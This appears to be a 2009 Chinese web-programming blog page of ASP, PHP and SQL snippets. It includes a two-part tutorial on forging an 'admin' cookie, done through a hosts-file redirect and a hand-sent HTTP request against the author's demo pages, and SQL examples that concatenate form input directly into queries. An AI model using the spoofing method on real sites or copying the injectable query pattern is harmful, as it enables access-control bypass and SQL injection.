您正在查看 "网络程序" 分类下的文章
2009-04-11 21:32
用php生成excel文件
-
<?
-
-
header("Content-type:application/vnd.ms-excel");
-
-
header("Content-Disposition:filename=test.xls");
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
?>
在php环境运行上面的代码,大家就可以看到浏览器询问用户是否下载excel
文档,点击保存,硬盘上就多了一个excel的文件,使用excel打开就会看到
最终的结果,怎么样不错吧。
其实在做真正的应用的时候,大家可以将数据从数据库中取出,然后按照每
一列数据结束后加\t,每一行数据结束后加\n的方法echo出来,在php的开头
用header("Content-type:application/vnd.ms-excel");表示输出的是
excel文件,用header("Content-Disposition:filename=test.xls");表
示输出的文件名为text.xls。这样就ok了。
我们更可以修改header让他输出更多格式的文件,这样php在处理各种类型
文件方面就更加方便了。
|
|
|
|
2009-04-06 21:19
cookie欺骗教程(1)
2009-01-18 16:54
cookie欺骗教程(1)
---------产生一个COOKIE文件并改变它
唉,很早就想点关于COOKIE的东东了,主要是网上有不少文章说半天其实也
没有多少实质的东西。
首先大家明白什么是COOKIE,具体点说如果是98那么它们默认存放在C:\windows\cookies
目录下,如果是2k它们在C:\Documents and Settings\%你的用户名%\Cookies目录下(每个文件都不会超过4KB)
它们的文件名格式为:你的用户名@产生的COOKIE的网页文件所在的WEB目录[COOKIE改变的次数].txt
具体的例子:iwam_system@cookie[3].txt
再来看一看一个最简单的COOKIE文件的内容:
level
admin
www.locking.8u8.com/cookie/
0
1331699712
29536653
4044081984
29528196
*
最前面的两段为服务器产生的COOKIE内容(level和admin)第三段为产生这个COOKIE文件的网站的域名和WEB目录
这儿就要注意了没有记录产生COOKIE文件的文件名!所以在同一个目录下不同文件产生的COOKIE是同一个文件只是每
产生一次COOKIE的文件名的中括号里的数字就要加1,后面的那些就不管它了我也不懂哈:)
再来看看如何生成一个COOKIE我以vbs cript为例:
<s cript language=vbs>
document.cookie="level" & "=" & "user" & ";expires=Monday, 01-Jan-03 12:00:00 GMT"
msgbox document.cookie
</s cript>
这儿我们特别人注意的是最后一段 ";expires=Monday, 01-Jan-03 12:00:00 GMT"这是用来说明产生的COOKIE文件的
有效时间的,如果没有那么这个COOKIE你将不会在本文开头所说的目录里找到它。这个例子中有效时间是2003年当然你
也就能在本地硬盘上找到它们了。
另外当用document.cookie来得到COOKIE内容时设置COOKIE有效时间这一段将被忽略(当然这也方便了网站的COOKIE
*作)比如说上面将弹出一个内容为 level=user的对话框
好了现在我们来实战一下:
我的网站叫www.locking.8u8.com在它的COOKIE目录里有两个文件一个是admin1.htm内容就是上面的例子
还有一个文件叫level1.htm内容如下:
<s cript language=vbs>
co=document.cookie
le=mid(co,instr(co,"=")+1,len(co)-instr(co,"=")+1)
if le="user" then
msgbox "you are a user"
else
if le="admin" then
msgbox "you are a administrator"
else
msgbox "you not login"
end if
end if
</s cript>
当你先浏览admin1.htm后再浏览level1.htm时将弹出一个对话框内容为:"you are a user",当你没有浏览过
admin1.htm而直接浏览level1.htm将说 "you not login" (注意有的人可能会先浏览admin1.htm后再直接在硬盘
上更改COOKIE的内容当然这样是不行的)
好了我们的目标就是让我们能在浏览level1时弹个框框说 "you are a administrator" :)
办法只有两个咯:1)把8u8黑了,然后找到那个level1.htm改了不就可以了不过本篇文章不做讨论哈
2)进行COOKIE欺骗,OK LET GO:)
-----------------------------------(我的系统环境一台2kserver+iis5)
第一步:自已做一个文件名叫admin2.htm吧内容如下
<s cript language=vbs>
document.cookie="level" & "=" & "admin" & ";expires=Monday, 01-Jan-03 12:00:00 GMT"
</s cript>
然后把它放入一个名叫COOKIE的可浏览目录中(COOKIE要位于根目录)
第二步:找到位于C:\WINNT\system32\drivers\etc下的hosts文件在它的后面加上如下一段:
127.0.0.1 www.locking.8u8.com
第三步:仿问www.locking.8u8.com/cookie/admin2.htm(这儿实际是仿问的本机的文件)
第四步:删除hosts中刚才我们添加的内容然后再清掉IE的历史记录
第五步:让我们再次仿问www.locking.8u8.com/cookie/level1.htm
怎么样我们现在是 administrator了吧(注意仿问网站是一定要在前面加三个w)
COOKIE欺骗教程2
------------- 利用winsocket编程发送伪造COOKIE
在上一节中我所举的例子是一个存活期很长的COOKIE,对于这种
COOKIE他会生成在我们的本地盘上的,而对于那些关闭浏览器就失效
的COOKIE我们该怎样来进行欺骗伪造呢?
首先我们应该知道在我第一节的例子中弹那个"you are a administrator"
框框的网页(level1.htm)其实是下载在我的本地然后执行的,也就是说
他对COOKIE的检验读取也是在本地,那如果是在远程服务器上呢?比如
一个ASP程序他又是如何读取我们的COOKIE的呢?
先来看看基本的东东吧:当我们使用HTTP协议向远程主机发送一个
GET或是POST请求时,那么如果有这个域名的COOKIE存在(不管是在内存中
还是本地盘上的)都将和请求一起发送到服务器去.
下面的就是一个实际的例子:
GET /ring/admin.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
看到最后一行了吧:)
然后我们再来看看服务器是如何进行COOKIE检验的,我举了一个简单的例子:
有两个ASP文件一个叫admin.asp,还有一个叫level.asp
-----------admin.asp------------------
<%response.write now()%>
<%response.write "<br>"%>
<%response.cookies("level")="user"%>
<%response.write "<html><s cript>document.write(document.cookie);</s cript></html>"%>
-----------cut here-------------------
-----------level.asp------------------
<%
if Request.Cookies("level")<>"" then
response.write "<html><s cript>document.write(document.cookie);</s cript></html>"
if request.cookies("level")="user" then
response.write "<html><s cript>alert(<|>you are a user<|>);</s cript></html>"
else
if request.cookies("level")="admin" then
response.write "<html><s cript>alert(<|>you are administrator!<|>);</s cript></html>"
set fso1=server.createobject("s cripting.filesystemobject")
set fil=fso1.opentextfile("d:\sms\ring\a.txt",8,true)
fil.writeline "you are admin!"
end if
end if
else
response.write "<html><s cript>alert(<|>you are not login<|>);</s cript></html>"
end if
%>
-----------cut here-------------------
说明:当你请求admin.asp时,将产生一个临时的COOKIE(你关闭浏览器就会失效),然后我们不关闭浏览器而
请求level.asp时它就会用request.cookies来提取你发出的请求里面的cookie,如果你的COOKIE里面的内容是
admin的话那么它将用fso对象在服务器产生一个记录文件(a.txt要注意的是我们在实验时要把目录设为可写)
好了就介绍这么多吧,我们的目的就是让服务器产生a.txt并写入内容"you are admin"还是进行上一节的
域名欺骗吗?不是让我们写一个winsocket程序吧,Let GO:)
下面是我们VB+WINSCOKET控件写的一个简单的例子的源代码:
-----------------------COOKIE SEND---------------------------------------
Private Sub Command1_Click()
Winsock1.RemotePort = Text3.Text <|>远程主机打开的端口一般都为80
Winsock1.RemoteHost = Text2.Text <|>远程主机的域名也可以输IP
Winsock1.Connect <|>打开一个SOCKET连接
Command1.Enabled = False <|>一次只能打开一个连接所以要让SEND按钮失效
End Sub
Private Sub winsock1_Connect()
Winsock1.SendData Text1.Text <|>打开连接成功的话就发送数据
End Sub
Private Sub Command2_Click()
Winsock1.Close
Command1.Enabled = True <|>关闭连接,让SEND按钮有效
End Sub
Private Sub winsock1_DataArrival(ByVal bytesTotal As Long) <|>接收数据,可以让我们检查数据是否发送成功
Dim tmpstr As String
Winsock1.GetData tmpstr
Text4.Text = tmpstr
End Sub
-----------------------CUT HERE--------------------------------------------
好,再让我们看一看具体的过程吧:这儿要用到一个不错的程序WinSock Expert v0.3 beta 1
一步:打开一个IE然后再打开winsock expert选择监视刚才打开的IE窗口的数据包
二步: 在IE地址栏输http://61.139.xx.xx/ring/admin.asp,那个我将看到发出了如下数据
GET /ring/admin.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
不要半闭窗口请http://61.139.xx.xx/ring/level.asp,我们又将看到发出了如下数据
GET /ring/level.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
三步: 好了对第二次发出的数据的最后一行Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就是我们要改的东东,由于level.asp中相应的COOKIE的检验语句为if request.cookies("level")="admin" then
所以我们只要把上面的数据的最后一行改成Cookie: level=admin; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就可以了,后面的东东很重要下面我再说明一下:)
四步: 把改过的数据拷到我编的程序的发送框里面输入端口和域名后。。。。。
五步:到服务器看看是不是生成了那个a.txt里面的内容为"you are admin!
好了不写了,主要还是自已多实验就可以了为了放便大家本文章的程序代码完全公开哈
1.admin.asp和level.asp: http://locking.8u8.com/cookie/admin.txt和level.txt
2.cookieclient.exe及源代码: http://locking.8u8.com/cookie/cookiesend.zip
3.winsock expert: http://software.tom.com/download.asp?id=7500 或是 http://dxqsoft.myrice.com/
|
|
2009-02-27 10:35
<%
’**************************************************
’常用二级分类下拉列表[数据库版]
’叶随风(LeafinWind)
’QQ:19855466
’http://www.popasp.com/
’说明:
’支持多浏览器
’所有类别信息在同一个表中
’表结构:InfoClass[表名]
’ID: 自动编号
’ClassName: 类别名称[文本]
’PID: 父类id号[数字]
’ClassIndex: 类别索引[数字],用于排序,可有可无
’**************************************************
Dim SubClsCount, rsCl
Set rsCl = Server.Createobject("Adodb.Recordset")
rsCl.Open "Select * From [InfoClass] Where PID <> 0 Order By ClassIndex, ID",Conn,1,1 ’小类
%>
<script language = "JavaScript">
var TCount = 0;
subCls = new Array();
<%
SubClsCount = 0
Do While Not rsCl.Eof
%>
//数组中三个元素的说明:(小类ID:小类Select的value内容,小类父ID:所属的大类的ID,小类名称:Select列表显示的内容)
subCls[<%=SubClsCount%>] = new Array("<%=Trim(rsCl("ID"))%>","<%=rsCl("PID")%>","<%=Trim(rsCl("ClassName"))%>");
<%
SubClsCount = SubClsCount + 1
rsCl.Movenext
Loop
rsCl.Close
Set rsCl = Nothing
%>
TCount=<%=SubClsCount%>;
function changelocation(locationid)
{
document.getElementById("SmallClassID").length = 0;
var locationid = locationid;
var i;
for (i=0;i < TCount; i++)
{
if (subCls[i][1] == locationid)
{
//(前边:字段三内容,显示在列表中;后边:字段一内容,显示在VALUE值中!)
document.getElementById("SmallClassID").options[document.getElementById("SmallClassID").length] = new Option(subCls[i][2], subCls[i][0]);
}
}
if (document.getElementById("SmallClassID").options.length <= 0)
{
document.getElementById("SmallClassID").options[document.getElementById("SmallClassID").length] = new Option("暂无小类", 0);
}
}
</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns=" http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>ASP+JS的二级分类</title>
</head>
<body">
<%
Dim SelClassID
Set rsCl = Server.Createobject("Adodb.Recordset")
rsCl.Open "Select * From [InfoClass] Where PID = 0 Order By ClassIndex, ID",Conn,1,1 ’大类
If rsCl.Eof And rsCl.Bof Then
Response.Write "请添加顶级(大)类别!"
Response.End()
Else
%>
大类:
<select name="BigClassID" size="1" id="BigClassID" onChange="changelocation(document.getElementById(’BigClassID’).options[document.getElementById(’BigClassID’).selectedIndex].value)">
<%
SelClassID = rsCl("ID")
Do While Not rsCl.Eof
%>
<option value="<%=rsCl("ID")%>"><%=rsCl("ClassName")%></option>
<%
rsCl.Movenext
Loop
%>
</select>
<%
End If
rsCl.Close
%>
小类:
<%
Dim SmallClassList
SmallClassList = "<select name=SmallClassID id=SmallClassID>"
rsCl.Open "Select * From [InfoClass] Where PID = "&SelClassID&" Order By ClassIndex, ID" ,Conn,1,1 ’小类
If Not (rsCl.Eof And rsCl.Bof) Then
Do While Not rsCl.Eof
SmallClassList = SmallClassList & "<option value=’"&rsCl("ID")&"’>"&rsCl("ClassName")&"</option>"
rsCl.Movenext
Loop
Else
SmallClassList = SmallClassList & "<option value=’0’>暂无小类</option>"
End If
rsCl.Close
Set rsCl = Nothing
SmallClassList = SmallClassList & "</select>"
Response.Write(SmallClassList)
%>
</body>
</html> |
2009-02-26 16:03
JS部分:
<script language="JavaScript">
<!--
var subcat = new Array();
<%
exec="select Road_ID,Road_Name,Road_Area from Road"
set ors=server.createobject("adodb.recordset")
ors.open exec,conn,1,1
dim n
n=0
do while not ors.eof
%>
subcat[<%=n%>] = new Array('<%=trim(ors("Road_Area"))%>','<%=trim(ors("Road_Name"))%>','<%=trim(ors("Road_ID"))%>')<%
ors.movenext
n=n+1
loop
ors.close
set ors=nothing
%>
function changeselect(selectValue)
{
document.form.Shop_Road.length = 0;
document.form.Shop_Road.options[0] = new Option('请选择街道','');
for (i=0; i<subcat.length; i++)
{
if (subcat[i][0] == selectValue)
{
document.form.Shop_Road.options[document.form.Shop_Road.length] = new Option(subcat[i][1], subcat[i][2]);
}
}
}
-->
</script>
Html部分:
<tr bgcolor="#FFFFFF">
<td>所属区域:</td>
<td width="90%">
<%
exec="select Area_ID,Area_Name from Area"
set rs=server.createobject("adodb.recordset")
rs.open exec,conn,1,1
%>
<select name="Shop_Area" onChange="changeselect(this.value)">
>
<option value="" selected>选择区域</option>
<%
do while not rs.eof%>
<option value=<%=rs("Area_ID")%>><%=rs("Area_Name")%></option>
<%
rs.movenext
loop
rs.close
set rs=nothing
%>
</select>
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td>所属路段:</td>
<td width="90%">
<select name="Shop_Road" onChange="alert(this.value)">
</select>
</td>
</tr>
|
2009-02-13 11:19
eWebEdit在线编辑器的调用及获取值 (2008-07-11 02:26:41)
一 调运
<asp:TextBox id="content1" TextMode="MultiLine" Width="100%" style="DISPLAY:none" CssClass="myInput-MoreText" runat="server"></asp:TextBox>
<IFRAME ID="eWebEditor1" src="../eWebEditor/eWebEditor.asp?id=content1&style=s_coolblue" frameborder="0" scrolling="no" width="550" height="350"></IFRAME>
二 获取值
String text=Request.Form["content1"].ToString();
|
2008-12-26 18:00
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名称.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq="&mdbfile
%>
2. ASP与SQL数据库连接:
<%
dim conn
set conn=server.createobject("ADODB.connection")
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称
%>
建立记录集对象:
set rs=server.createobject("adodb.recordset")
rs.open SQL语句,conn,3,2
3. SQL常用命令使用方法:
(1) 数据记录筛选:
sql="select * from 数据表 where 字段名=字段值 order by 字段名 "
sql="select * from 数据表 where 字段名 like ‘%字段值%‘ order by 字段名 "
sql="select top 10 * from 数据表 where 字段名 order by 字段名 "
sql="select * from 数据表 where 字段名 in (‘值1‘,‘值2‘,‘值3‘)"
sql="select * from 数据表 where 字段名 between 值1 and 值2"
(2) 更新数据记录:
sql="update 数据表 set 字段名=字段值 where 条件表达式"
sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"
(3) 删除数据记录:
sql="delete from 数据表 where 条件表达式"
sql="delete from 数据表" (将数据表所有记录删除)
(4) 添加数据记录:
sql="insert into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)"
sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)
(5) 数据记录统计函数:
AVG(字段名) 得出一个表格栏平均值
COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名) 取得一个表格栏最大的值
MIN(字段名) 取得一个表格栏最小的值
SUM(字段名) 把数据栏的值相加
引用以上函数的方法:
sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
set rs=conn.excute(sql)
用 rs("别名") 获取统的计值,其它函数运用同上。
(5) 数据表的建立和删除:
CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )
例:CREATE TABLE tab01(name varchar(50),datetime default now())
DROP TABLE 数据表名称 (永久性删除一个数据表)
(6) 记录集对象的方法:
rs.movenext 将记录指针从当前的位置向下移一行
rs.moveprevious 将记录指针从当前的位置向上移一行
rs.movefirst 将记录指针移到数据表第一行
rs.movelast 将记录指针移到数据表最后一行
rs.absoluteposition=N 将记录指针移到数据表第N行
rs.absolutepage=N 将记录指针移到第N页的第一行
rs.pagesize=N 设置每页为N条记录
rs.pagecount 根据 pagesize 的设置返回总页数
rs.recordcount 返回记录总数
rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否
rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否
rs.delete 删除当前记录,但记录指针不会向下移动
rs.addnew 添加记录到数据表末端
rs.update 更新数据表记录
判断所填数据是数字型
if not isNumeric(request("字段名称")) then
response.write "不是数字"
else
response.write "数字"
end if
经常使用到有关数据库的操作。包括连接代码、SQL命令等等,又不曾刻意去记忆它们(我本人是不愿意去记这东东),所以常常在用到的时候又去查书本,翻来翻去。一些比较少用的数据库还不一定能顺利找到,所以现在把它们全归纳到这里,提供大家参考。(个人水平有限,有缺陷之处,欢迎大家指正。)
<一>。数据库的连接方法:
1.Access数据库的DSN-less连接方法:
set adocon=Server.Createobject("adodb.connection")
adoconn.Open"Driver={Microsoft Access Driver(*.mdb)};DBQ="& _
Server.MapPath("数据库所在路径")
2.Access OLE DB连接方法:
set adocon=Server.Createobject("adodb.connection")
adocon.open"Provider=Microsoft.Jet.OLEDB.4.0;"& _
"Data Source=" & Server.MapPath("数据库所在路径")
3.SQL server连接方法:
set adocon=server.createobject("adodb.recordset")
adocon.Open"Driver={SQL Server};Server=(Local);UID=***;PWD=***;"& _
"database=数据库名;"
4.SQL server OLE DB连接方法:
set adocon=Server.Createobject("adodb.connection")
adocon.open"provider=SQLOLEDB.1;Data Source=RITANT4;"& _
"user ID=***;Password=***;"& _
"inital Catalog=数据库名"
5.Oracle 连接方法:
set adocon=Server.Createobject("adodb.connection")
adocon.open"Driver={microsoft odbc for oracle};server=oraclesever.world;uid=admin;pwd=pass;"
6.Oracle OLE DB 连接方法:
set adocon=Server.Createobject("adodb.connection")
adocon.open"Provider=OraOLEDB.Oracle;data source=dbname;user id=admin;password=pass;"
7.dBase 连接方法:
set adocon=Server.Createobject("adodb.connection")
adocon.open"Driver={microsoft dbase driver(*.dbf)};driverid=277;dbq=------------;"
8.mySQL 连接方法:
set adocon=Server.Createobject("adodb.connection")
adocon.open"Driver={mysql};database=yourdatabase;uid=username;pwd=yourpassword;option=16386;"
9.Visual Foxpro 连接方法:
set adocon=Server.Createobject("adodb.connection")
adocon.open"Driver={microsoft Visual Foxpro driver};sourcetype=DBC;sourceDB=*.dbc;Exclusive=No;"
10.MS text 连接方法:
set adocon=Server.Createobject("adodb.connection")
adocon.open"Driver={microsoft text driver(*.txt; *.csv)};dbq=-----;"&_
"extensions=asc,csv,tab,txt;Persist SecurityInfo=false;"
11.MS text OLE DB 连接方法:
set adocon=Server.Createobject("adodb.connection")
adocon.open"Provider=microsof.jet.oledb.4.0;data source=your_path;"&_
"Extended Properties'text;FMT=Delimited'"
<二>。常用的四种SQL命令:
1.查询数据记录(Select)
语法:Select 字段串行 From table Where 字段=内容
例子:想从book表中找出作者为"cancer"的所有记录,SQL语句便如下:
select * from book where author=’cancer’
"*"是取出book表所有的字段,如查询的字段值为数字,则其后的"内容"便无须加上单引号,
如是日期,则在Access中用(#)包括,而在SQL server中则用(’)包括,
如:
select * from book where id=1
select * from book where pub_date=#2002-1-7# (Access)
select * from book where pub_date=’2002-1-7’ (SQL Server)
提示:
日期函数to_date不是标准sql文,不是所有的数据库适用,所以大家在使用的时候要参考数据库具体语法
另外如果是查询传入的变量,则如下:
strau=request.form("author")
strsql="select * from book where author=’"&strau&"’"
如果查询的是数字,则:
intID=request.form("id")
strsql="select * from book where id="&intID
在很多数据库中,如:oracle,上面的语句是可以写成:
strsql="select * from book where id='"&intID&"'"的。
但是字符型一定不能按照数字格式写,需要注意。
2.添加记录(Insert)
语法:Insert into table(field1,field2,....) Values (value1,value2,....)
例子:添加一作者是"cancer"的记录入book表:
insert into book (bookno,author,bookname) values (’CF001’,’cancer’,’Cancer无组件上传程序’)
同样,如果用到变量就如下:
strno=request.form("bookno")
strau=request.form("author")
strname=request.form("bookname")
strsql="insert into book (bookno,author,bookname) values (’"&strno&"’,’"&strau&"’,’"&strname&"’)"
3.用Recordset对象的Addnew插入数据的方法:
语法:
rs.addnew
rs("field1").value=value1
rs("field2").value=value2
...
rs.update
4.修改数据记录(Update)
语法:update table set field1=value1,field2=value2,...where fieldx=valuex
例子:update book set author=’babycrazy’ where bookno=’CF001’
如果用到变量就如下:
strno=request.form("bookno")
strau=request.form("author")
strsql="update book set author=’"&strau&"’ where bookno=’"&strno"’"
5.Recordset对象的Update方法:
语法:
rs("field1").value=value1
rs("field2").value=value2
...
rs.update
注意:使用语法3和语法5的时候,一定要注意字段的类型(尤其是日期型)一致,否则出错的几率非常的高。
例子:
strno=request.form("bookno")
strau=request.form("author")
set adocon=server.createobject("adodb.connection")
adocon.open "Driver={Microsoft Access Driver(*.mdb)};DBQ=" & _
Server.Mappath=("/cancer/cancer.mdb")
strsql="select * from book where bookno=’"&strno&"’"
set rs=server.createobject("adodb.recordset")
rs.open strsql,adconn,1,3
if not rs.eof then ’如果有此记录的话
rs("author").value=strau
rs.update
end if
rs.close
set rs=nothing
adocon.close
set adocon=nothing
6.删除一条记录(Delete)
语法:Delete table where field=value
例子:删除book表中作者是cancer的记录
delete book where author=’cancer’
(注意:如果book表中author字段的值为cancer的记录有多条,将会删除所有author为cancer的记录)
好了,学会了用这些操作,大家在用asp操作数据库的时候,该是没有什么问题了
|
2008-07-23 16:26
2007-09-25 16:01
2008-07-15 10:47
|
初学ASP,程序是能勉强写出来了,但若每进行一次网站页面的改版,所有的源程序都将进行一次移植手术。为此所耗费的人力精力不计其数,甚至一不小心得不偿失、前功尽弃。
所以,梦想着那么大段的程序代码变成几个简单的字符代替,这样只要设计好页面把该功能插入就OK了。其实这也简单,只需将实现该功能的程序代码做成子程序,然后主页调用就可以了。
那下面偶就借花献佛,将模板拿来分析,以馈各位朋友。
首先,模板需要在线修改,则应采用数据库保存模板代码
所谓的模板,就是设计完工的标准的HTML代码,其中需要由程序实现的功能部分将采用特殊字符串代替。然,这些特殊字符串需要在显示的时候被编译为对应的功能。
1,设计数据库testmb.mdb
新建表moban:字段m_id(自动编号,主关键字);字段m_html(备注类型)
2,假设第一模板内容代码
将下列代码拷贝到m_html字段中
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>testmb</title>
</head>
<body leftmargin="0" topmargin="0">
<table width="100%" height="100%" border="0" cellpadding="5" cellspacing="2">
<tr align="right" bgcolor="#CCCCCC">
<td height="20" colspan="2">$cntop$</td>
</tr>
<tr valign="top">
<td width="25%" bgcolor="#e5e5e5">$cnleft$</td>
<td width="74%" bgcolor="#f3f3f3">$cnright$</td>
</tr>
</table>
</body>
</html>
注意$cntop$、$cnleft$、$cnright$,它们将要实现某些具体的程序功能
3,建立数据库连接文件conn.asp
<%
set conn= Server.CreateObject("ADODB.Connection")
connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("testmb.mdb")
conn.Open connstr
%>
4,建立特殊字符串转换所需要的库文件lib.asp
该文件的主要作用是将实现某些功能的ASP程序做成字程序,以方便调用。
<%
dim topcode
sub cntop()
topcode="现在时间是:"
topcode=topcode&now()
end sub
dim leftcode,i
sub cnleft()
for i = 1 to 5
leftcode=leftcode&"<p>cnbruce.com"
next
end sub
dim rightcode
sub cnright()
for i = 1 to 9
rightcode=rightcode&"<hr color="&i&i&i&i&i&i&">"
next
end sub
%>
5,最后,调用数据库中的模板代码,将特殊字符串转换。
<!--#include file="conn.asp" -->
<!--#include file="lib.asp" -->
<%
sql="select * from moban where m_id=1"
set rs=Server.CreateObject("adodb.recordset")
rs.open sql,conn,1,1
mb_code=rs("m_html")
rs.close
set rs=nothing
cntop()
mb_code=replace(mb_code,"$cntop$",topcode)
cnleft()
mb_code=replace(mb_code,"$cnleft$",leftcode)
cnright()
mb_code=replace(mb_code,"$cnright$",rightcode)
response.write mb_code
%>
该页主要作用是将模板代码进行显示,并将其中的特殊代码转变为相对应子程序功能。
至此,ASP的模板功能基本完成,剩下的就是:建立具备编辑模板功能的程序页面,将库文件改变为自己所需要程序功能……
看完基本的制作原理后我们再看看一个具体的用模板实现asp生成静态页方法。
ASP2HTML WITH TEMPLET
我希望大家看到该标题就能让想象到它的功能:
1,WITH TEMPLET意思是,生成的页面架构将采用某个已设定的模板,在此之前我的一篇教程中介绍过,希望各位在看本教程之前对ASP采用模板应熟悉下。(当然,不看也没有问题,本教程同样会提及精华部分的:)具体参考:http://www.cnbruce.com/blog/showlog.asp?cat_id=26&log_id=474
2,ASP2HTML。不要我再说ASP转变成HTML的好处了吧,呵呵,其中最值得知道的就是:静态HTML页和动态页对服务器的要求承受能力小得多,同样,静态HTML搜索几率远比动态页面的多得多。
那么,我现在需要处理的技术问题就是:
1,如何实现模板技术?(先参看下上篇文章吧)
2,如何实现2HTML技术?
3,如何让模板技术与2HTML技术结合?
一、先进行技术原理分析
1,模板技术参看 www.cnbruce.com/blog/showlog.asp?cat_id=26&log_id=474
2,2HTML技术又该如何实现呢?如何使得ASP页面转变为HTML?一般都会想到FSO组件,因为该组件能新建任何文件格式。
那么其整个运行过程是怎么样的呢?
a,提供信息输入页面进行信息收集;
b,接受信息值先保存数据库,再FSO生成文件;
c,技术性完成任务,显示刚被创建的HTML文件的路径地址。
该技术的实现过程中有如下几个难点:
i,FSO生成的文件是直接放在一个大文件夹下,还是单独放在某个每日更新的子文件夹中?可能表述不准确,这样理解吧:相信通过FSO生成的文件随着时间的推移,文件会越来越多,管理也会越来越乱……通常你可能看到一些地址诸如 www.xxx.com/a/2004-5-20/200405201111.html 可以分析得出应该是建立了当前日期的文件夹。这样,一天就是一个文件夹的页面内容,查看管理也就显得比较合理。
ii,我在试图通过以上方法建立文件夹的时候,又发现了第二个问题。第一次通过FSO建立以当前日期命名的文件夹,没有问题。当我有新的文件需要生成时,因为是同一个程序,所以,其又将会执行建立同样的文件夹。此时,FSO组件会发现该路径已存在……卡壳-_-! 继续处理,在首行添加代码:
引用:
--------------------------------------------------------------------------------
On Error Resume Next
--------------------------------------------------------------------------------
嘿嘿,达到自欺欺人、掩耳盗铃的效果。
当然规矩的用法是判断文件夹的有无
引用:
--------------------------------------------------------------------------------
<%
Set fso = Server.CreateObject("Scripting.FileSystemObject")
if (fso.FolderExists(Server.MapPath(folder))) then
‘判断如果存在就不做处理
else
‘判断如果不存在则建立新文件夹
fso.CreateFolder(Server.MapPath(folder))
end if
%>
--------------------------------------------------------------------------------
iii,文件夹是建立了,文件该如何建立呢?主要也就是文件名的生成。当然这个就需要自己来写个函数,功能就是如何生成文件名:)
引用:
--------------------------------------------------------------------------------
<%
function makefilename(fname)
fname = fname ‘前fname为变量,后fname为函数参数引用
fname = replace(fname,"-","")
fname = replace(fname," ","")
fname = replace(fname,":","")
fname = replace(fname,"PM","")
fname = replace(fname,"AM","")
fname = replace(fname,"上午","")
fname = replace(fname,"下午","")
makefilename = fname & ".html"
end function
%>
引用函数则:
<%fname = makefilename(now())%>
--------------------------------------------------------------------------------
其实嘛,就是以年月日时分秒命名的文件。
iv,最后,生成的文件该如何查看到?当然需要把生成文件的路径保存的数据库中,并且添加到相对应的记录集中了。当然,这在下面的数据库设计时会提及到。
3,模板技术和2HTML技术的结合:将模板中特殊代码的值替换为从表单接受过来的值,完成模板功能;将最终替换过的所有模板代码生成HTML文件。需要注意的是:替换应能将输入数据的格式或者支持UBB的代码彻底改变。
二,再进行数据库设计
目前数据库的设计需要两个表:一个是存放模板数据的;一个是存放信息内容的。
1,建立新数据库asp2html.mdb
2,设计新数据库表c_moban
字段m_id(自动编号,主关键字);字段m_html(备注类型)。
并将下列完整的代码拷贝至m_html字段
引用:
--------------------------------------------------------------------------------
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=hz">
<title>Cnbruce.Com | ASP2HTML TEST</title>
</head>
<body leftmargin="0" topmargin="0">
<table width="100%" height="100%" border="0" cellpadding="5" cellspacing="2">
<tr align="right" bgcolor="#CCCCCC">
<td height="20" colspan="2">$cntop{LogContent}lt;/td>
</tr>
<tr valign="top">
<td width="25%" bgcolor="#e5e5e5">$cnleft{LogContent}lt;/td>
<td width="74%" bgcolor="#f3f3f3">$cnright{LogContent}lt;/td>
</tr>
</table>
</body>
</html>
--------------------------------------------------------------------------------
3,设计新数据库表c_news
字段c_id:自动编号,主关键字
字段c_title:文本类型,保存文章标题
字段c_content:备注类型,保存文章内容
字段c_filepath:文本类型,保持生成文件的路径地址
字段c_time:日期/时间类型,默认值:Now()
三,页面需求设计
1,首先建立一个存放HTML页的文件夹
在文件同一目录下,建立文件夹newsfile,夹子内部主要存放生成的HTML页面,当然内部还会采用程序方式建立以日期命名的子文件夹,以方便浏览以及管理。
2,功能函数页面lib.asp
引用:
--------------------------------------------------------------------------------
<%
‘生成文件名的函数
function makefilename(fname)
fname = fname
fname = replace(fname,"-","")
fname = replace(fname," ","")
fname = replace(fname,":","")
fname = replace(fname,"PM","")
fname = replace(fname,"AM","")
